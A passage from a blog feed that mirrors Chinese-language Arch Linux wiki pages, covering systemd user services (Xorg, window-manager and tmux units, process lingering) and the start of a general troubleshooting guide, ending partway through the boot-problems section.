&lt;pre&gt;&lt;code&gt;$ systemctl --user set-environment XDG_VTNR=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  xorg应该在用户登录的虚拟终端上运行，否则 logind 会认为会话没有激活。&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;确保 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; 环境变量已经配置，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#DISPLAY_%E5%92%8C_XAUTHORITY&quot;&gt;这里&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;接下来，执行以下命令，使得 xorg 在 display 0 和 tty 2 上可以通过 socket 激活：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;$ systemctl --user set-environment XDG_VTNR=2     # 这样 xorg@.service 知道该用哪个虚拟终端
$ systemctl --user start xorg@0.socket            # 开始为 display 0 监听 socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，在 tty 2上运行任意的X应用，xorg 都会自动启动。&lt;&#x2F;p&gt;
&lt;p&gt;可以在 &lt;code&gt;.bash_profile&lt;&#x2F;code&gt; 里面把环境变量 &lt;code&gt;XDG_VTNR&lt;&#x2F;code&gt; 设置到 systemd 环境里面。在这之后，你可以使用 systemd 单元启动任意的X应用，包括窗口管理器。当然，这些 systemd 单元必须依赖于 &lt;code&gt;xorg@0.socket&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  当前，通过用户服务启动窗口管理器意味着它是在会话之外运行的，这将带来以下问题: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;General troubleshooting&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;General_troubleshooting#Session_permissions&quot;&gt;break the session&lt;&#x2F;a&gt;. 但是，systemd 的开发者看上去更倾向于这样(?)。参见 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mail.gnome.org&#x2F;archives&#x2F;desktop-devel-list&#x2F;2014-January&#x2F;msg00079.html&quot;&gt;5]&lt;&#x2F;a&gt; 和 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.freedesktop.org&#x2F;archives&#x2F;systemd-devel&#x2F;2014-March&#x2F;017552.html&quot;&gt;6]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xie-yong-li&quot;&gt;一些用例&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;chuang-kou-guan-li-qi&quot;&gt;窗口管理器&lt;&#x2F;h3&gt;
&lt;p&gt;以一个 systemd 服务来运行窗口管理器需要先 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#%E5%B0%86_Xorg_%E4%BD%9C%E4%B8%BA_systemd_%E7%94%A8%E6%88%B7%E6%9C%8D%E5%8A%A1&quot;&gt;#将 Xorg 作为 systemd 用户服务&lt;&#x2F;a&gt;来运行。下面我们以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Awesome&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Awesome&quot;&gt;awesome&lt;&#x2F;a&gt; 举例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;awesome.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Awesome window manager
After=xorg.target
Requires=xorg.target

[Service]
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;awesome
Restart=always
RestartSec=10

[Install]
WantedBy=wm.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  &lt;code&gt;[Install]&lt;&#x2F;code&gt; 一节包括一个 &lt;code&gt;WantedBy&lt;&#x2F;code&gt; 参数，当使用 &lt;code&gt;systemctl --user enable&lt;&#x2F;code&gt; 时会创建一个本服务的软链接到 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;wm.target.wants&#x2F;window_manager.service&lt;&#x2F;code&gt; 来使它在登录时启动。推荐采用启用服务的方法来代替手动创建软链接。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhong-duan-fu-yong-qi-chi-jiu-hua&quot;&gt;终端复用器持久化&lt;&#x2F;h3&gt;
&lt;p&gt;比起默认登入一个窗口管理器，你可能更想要自动在后台运行一个终端复用器（比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Screen（页面不存在）&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wzh&#x2F;index.php?title=Screen&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;screen&lt;&#x2F;a&gt; 或 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Tmux&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Tmux&quot;&gt;tmux&lt;&#x2F;a&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Create&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Create&quot;&gt;创建&lt;&#x2F;a&gt;以下文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;multiplexer.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Terminal multiplexer
Documentation=info:screen man:screen(1) man:tmux(1)
After=cruft.target
Wants=cruft.target

[Install]
Alias=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将用户登录与 X 登录分开，对引导到 TTY 而不是显示管理器的用户是有用的，此时你可以将所有要启动的东西绑定到 &lt;code&gt;mystuff.target&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;依赖项 &lt;code&gt;cruft.target&lt;&#x2F;code&gt; 与上述 &lt;code&gt;mystuff.target&lt;&#x2F;code&gt; 类似，用来在终端复用器启动前启动你需要的服务（或用来启动那些需要开机启动但时序要求不高的服务），比如 GnuPG 守护程序。&lt;&#x2F;p&gt;
&lt;p&gt;现在可以为你的终端复用器创建一个服务了。以下是一个例子，以 tmux 为例且加载了一个 gpg-agent 会话，这个 gpg-agent 会话会将信息写入 &lt;code&gt;&#x2F;tmp&#x2F;gpg-agent-info&lt;&#x2F;code&gt;。这个示例会话在将来启动 X 以后也可以运行 X 程序，因为设置了 &lt;code&gt;$DISPLAY&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;tmux.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=tmux: A terminal multiplexer
Documentation=man:tmux(1)
After=gpg-agent.service
Wants=gpg-agent.service

[Service]
Type=forking
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;tmux start
ExecStop=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;tmux kill-server
Environment=DISPLAY=:0
EnvironmentFile=&amp;#x2F;tmp&amp;#x2F;gpg-agent-info

[Install]
WantedBy=multiplexer.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Enable&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Enable&quot;&gt;Enable&lt;&#x2F;a&gt; &lt;code&gt;tmux.service&lt;&#x2F;code&gt;、&lt;code&gt;multiplexer.target&lt;&#x2F;code&gt; 和由 &lt;code&gt;cruft.target&lt;&#x2F;code&gt; 运行的服务，像往常一样 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Start&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Start&quot;&gt;start&lt;&#x2F;a&gt; &lt;code&gt;user@.service&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-zhu-xiao-hou-jie-shu-yong-hu-jin-cheng&quot;&gt;在注销后结束用户进程&lt;&#x2F;h2&gt;
&lt;p&gt;Arch Linux 用 &lt;code&gt;--without-kill-user-processes&lt;&#x2F;code&gt; 参数编译了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=systemd&quot;&gt;systemd&lt;&#x2F;a&gt;^包^ 包，默认下 &lt;code&gt;KillUserProcesses&lt;&#x2F;code&gt; 是 &lt;code&gt;no&lt;&#x2F;code&gt;。这一设置导致了在用户注销后，用户进程不会结束。要改变这一行为，在用户注销后结束所有用户进程，请在 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;logind.conf&lt;&#x2F;code&gt; 中设置 &lt;code&gt;KillUserProcesses=yes&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;注意，修改这一设置会破坏终端复用器，如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Tmux&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Tmux&quot;&gt;tmux&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;GNU Screen&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;GNU_Screen&quot;&gt;GNU Screen&lt;&#x2F;a&gt;。修改设置后仍想使用终端复用器，需按下列方法使用 &lt;code&gt;systemd-run&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemd-run --scope --user command args
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如要运行 &lt;code&gt;screen&lt;&#x2F;code&gt; 可以这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemd-run --scope --user screen -S foo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只有在用户在某处登录过系统至少一次，且 &lt;code&gt;user@.service&lt;&#x2F;code&gt; 仍在运行的情况下，使用 &lt;code&gt;systemd-run&lt;&#x2F;code&gt; 可以保持进程在用户注销后继续运行。&lt;&#x2F;p&gt;
&lt;p&gt;用户注销所有会话后，默认 &lt;code&gt;user@.service&lt;&#x2F;code&gt; 也会终止，除非用户启用了 &quot;lingering&quot; [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;blob&#x2F;76153ad45f09b6ae45464f2e03d3afefbb4b2afe&#x2F;NEWS#L274&quot;&gt;7]&lt;&#x2F;a&gt; 。为了让用户在注销后也能运行长期任务，需要为他们启用 lingering。详情参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#%E9%9A%8F%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8_systemd_%E7%94%A8%E6%88%B7%E5%AE%9E%E4%BE%8B&quot;&gt;#随系统自动启动 systemd 用户实例&lt;&#x2F;a&gt;和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;loginctl.1&quot;&gt;loginctl(1)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;runtime-directory-run-user-1000-is-not-owned-by-uid-1000-as-it-should&quot;&gt;Runtime directory &#x27;&#x2F;run&#x2F;user&#x2F;1000&#x27; is not owned by UID 1000, as it should&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;systemd[1867]: pam_systemd(systemd-user:session): Runtime directory &amp;#x27;&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x27; is not owned by UID 1000, as it should.
systemd[1867]: Trying to run as user instance, but $XDG_RUNTIME_DIR is not set
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你看到类似错误且无法登录会话，有可能是另一个系统级（非用户级）的服务正在创建该目录。例如正在使用的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Docker&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Docker&quot;&gt;docker&lt;&#x2F;a&gt; 容器挂载了 &lt;code&gt;&#x2F;run&#x2F;user&#x2F;1000&lt;&#x2F;code&gt;。可以修改容器取消挂载，或禁用、延迟启动 docker 服务来修复此问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-yue&quot;&gt;参阅&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitbucket.org&#x2F;KaiSforza&#x2F;systemd-user-units&#x2F;wiki&#x2F;Home&quot;&gt;KaiSforza&#x27;s Bitbucket wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zoqaeski&#x2F;systemd-user-units&quot;&gt;Zoqaeski&#x27;s units on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.archlinux.org&#x2F;viewtopic.php?id=167115&quot;&gt;Arch forum thread about changes in systemd 206 user instances&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Special:页面分类&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Special:%E9%A1%B5%E9%9D%A2%E5%88%86%E7%B1%BB&quot;&gt;分类&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Category:系统管理&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Category:%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86&quot;&gt;系统管理&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>常规故障排除 - Arch Linux</title>
        <published>2024-12-20T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/常规故障排除-arch-linux/"/>
        <id>https://vercel.juzhong.asia/obsidian/常规故障排除-arch-linux/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/常规故障排除-arch-linux/">&lt;h1 id=&quot;chang-gui-gu-zhang-pai-chu-arch-linux&quot;&gt;常规故障排除 - Arch Linux&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  考虑到本页面的标题，应该要提及一些基本的“无脑的”解决方案，比如进行冷启动、更新到最新版本等…… (在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4&quot;&gt;Talk:常规故障排除&lt;&#x2F;a&gt; 中讨论)&lt;&#x2F;p&gt;
&lt;p&gt;出现的错误消息请&lt;em&gt;务必&lt;&#x2F;em&gt;阅读，这一点很重要。有时可能很难获得正确的错误消息（比如出错的是图形应用程序）。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在终端中运行应用程序，这样可以查看输出。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果仍然没有足够的信息进行调试，请增加输出的详细度（通常加上参数 &lt;code&gt;--verbose&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;-v&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;-V&lt;&#x2F;code&gt; 或 &lt;code&gt;--debug&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;-d&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;如果没有这样的参数，可能是要在应用程序的配置文件中指定调试模式。&lt;&#x2F;li&gt;
&lt;li&gt;应用程序可能会有日志文件，日志文件通常位于 &lt;code&gt;&#x2F;var&#x2F;log&lt;&#x2F;code&gt;、&lt;code&gt;$HOME&#x2F;.cache&lt;&#x2F;code&gt; 或 &lt;code&gt;$HOME&#x2F;.local&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;如果没有办法增加输出的详细度，那么运行 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:Debugging&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Debugging&quot;&gt;strace&lt;&#x2F;a&gt; 和类似的命令总是可行的。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&#x2F;Journal&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;Journal&quot;&gt;日志&lt;&#x2F;a&gt;。错误也可能在日志中留下痕迹，特别是当这个程序依赖于其他程序时。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;dmesg&lt;&#x2F;em&gt; 从内核环形缓冲区读取日志。当磁盘由于某种原因无法访问时这很有用，但这也可能导致日志不完整，因为内核环形缓冲区的大小是有限的。如果可以的话尽量使用 &lt;em&gt;journalctl&lt;&#x2F;em&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;journalctl&lt;&#x2F;em&gt; 比 &lt;em&gt;dmesg&lt;&#x2F;em&gt; 有着更多的过滤选项，且默认使用人类可读的时间戳。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;建议检查相关应用的问题跟踪列表，看看这是不是已知问题，以及是否存在解决方案。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;应用通常是有问题跟踪列表的，具体取决于上游的选择，有时应用还有论坛，甚至有 IRC 频道。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bugs.archlinux.org&#x2F;&quot;&gt;Arch Linux bugtracker&lt;&#x2F;a&gt; 主要用于打包 bug。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;e-wai-zhi-yuan&quot;&gt;额外支援&lt;&#x2F;h3&gt;
&lt;p&gt;如果需要额外支援，你可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.archlinux.org&#x2F;&quot;&gt;the forums&lt;&#x2F;a&gt; 或 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Arch IRC channels&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Arch_IRC_channels#Collaborative_debugging&quot;&gt;IRC&lt;&#x2F;a&gt; 上提问。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:Code of conduct&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Code_of_conduct#arch-linux-distribution-support-only&quot;&gt;技术支持 &lt;&#x2F;a&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:Code of conduct&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Code_of_conduct#arch-linux-distribution-support-only&quot;&gt;仅限于&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:Code of conduct&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Code_of_conduct#arch-linux-distribution-support-only&quot;&gt; Arch Linux&lt;&#x2F;a&gt; 而非 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Arch-based distributions&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Arch-based_distributions&quot;&gt;基于 Arch 的发行版&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当要求贴出&lt;strong&gt;完整&lt;&#x2F;strong&gt;的 输出 &#x2F; 日志 时，不能仅仅贴出你认为的重要部分。信息来源应该包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;所有涉及到的命令的完整输出，不要只选择你认为相关的东西。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;systemd 的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&#x2F;Journal&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;Journal&quot;&gt;日志&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;要获得更广泛的输出，请使用 &lt;code&gt;systemd.log_level=debug&lt;&#x2F;code&gt; 引导参数，但这会产生大量的输出，因此仅在确实需要时才启用它。&lt;&#x2F;li&gt;
&lt;li&gt;不要使用 &lt;code&gt;-x&lt;&#x2F;code&gt; 参数，因为这会使输出混乱，让它难以阅读。&lt;&#x2F;li&gt;
&lt;li&gt;除非需要上次启动的日志，否则请使用 &lt;code&gt;-b&lt;&#x2F;code&gt; 参数。不指定这个参数可能会导致日志很大，甚至超过在线剪贴板的允许大小。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;相关的配置文件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;相关的驱动程序&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;相关软件包的版本&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;内核日志：&lt;code&gt;journalctl -k&lt;&#x2F;code&gt; 或 &lt;code&gt;dmesg&lt;&#x2F;code&gt;（都需要 root 权限）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xorg&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xorg&quot;&gt;Xorg&lt;&#x2F;a&gt;：所用的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;显示管理器&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E6%98%BE%E7%A4%BA%E7%AE%A1%E7%90%86%E5%99%A8&quot;&gt;显示管理器&lt;&#x2F;a&gt;的设置也决定了 Xorg 的日志位置。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Xorg.log&lt;&#x2F;code&gt; 可能在以下位置之一：系统日志、&lt;code&gt;&#x2F;var&#x2F;log&#x2F;&lt;&#x2F;code&gt; 或 &lt;code&gt;$HOME&#x2F;.local&#x2F;share&#x2F;xorg&#x2F;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;一些显示管理器，如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;LightDM&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;LightDM&quot;&gt;LightDM&lt;&#x2F;a&gt;，可能会在它自己的日志目录里面也放一份 &lt;code&gt;Xorg.log&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Pacman&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Pacman&quot;&gt;Pacman&lt;&#x2F;a&gt;：如果最近一次更新导致了问题，可以查看 &lt;code&gt;&#x2F;var&#x2F;log&#x2F;pacman.log&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;em&gt;pacman&lt;&#x2F;em&gt;的 &lt;code&gt;--debug&lt;&#x2F;code&gt; 参数也很有效。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最好将上述收集到的信息放到一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Arch IRC channels&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Arch_IRC_channels#Collaborative_debugging&quot;&gt;在线剪贴板&lt;&#x2F;a&gt;里。&lt;&#x2F;p&gt;
&lt;p&gt;在线剪贴板将返回一个链接，你可以把它贴到论坛或 IRC。&lt;&#x2F;p&gt;
&lt;p&gt;此外，在提问前最好复习一下&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;jdebp.info&#x2F;FGA&#x2F;problem-report-standard-litany.html&quot;&gt;如何正确报告问题&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xi-tong-qi-dong-wen-ti&quot;&gt;系统启动问题&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:Talk:Installation guide&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Talk:Installation_guide#Buggy_graphics_driver&quot;&gt;Arch:Talk:Installation guide#Buggy graphics driver&lt;&#x2F;a&gt;，或许应该加上在硬件上尝试 &lt;code&gt;nomodeset&lt;&#x2F;code&gt; 的内容？ (在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4&quot;&gt;Talk:常规故障排除&lt;&#x2F;a&gt; 中讨论)&lt;&#x2F;p&gt;
&lt;p&gt;诊断系统启动问题时，了解问题出在启动的哪一阶段很重要。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;固件（UEFI 或 BIOS）&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;往往只有非常基础的调试工具。&lt;&#x2F;li&gt;
&lt;li&gt;确保&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;UEFI&#x2F;安全启动&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;UEFI&#x2F;%E5%AE%89%E5%85%A8%E5%90%AF%E5%8A%A8&quot;&gt;安全启动&lt;&#x2F;a&gt;已关闭。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
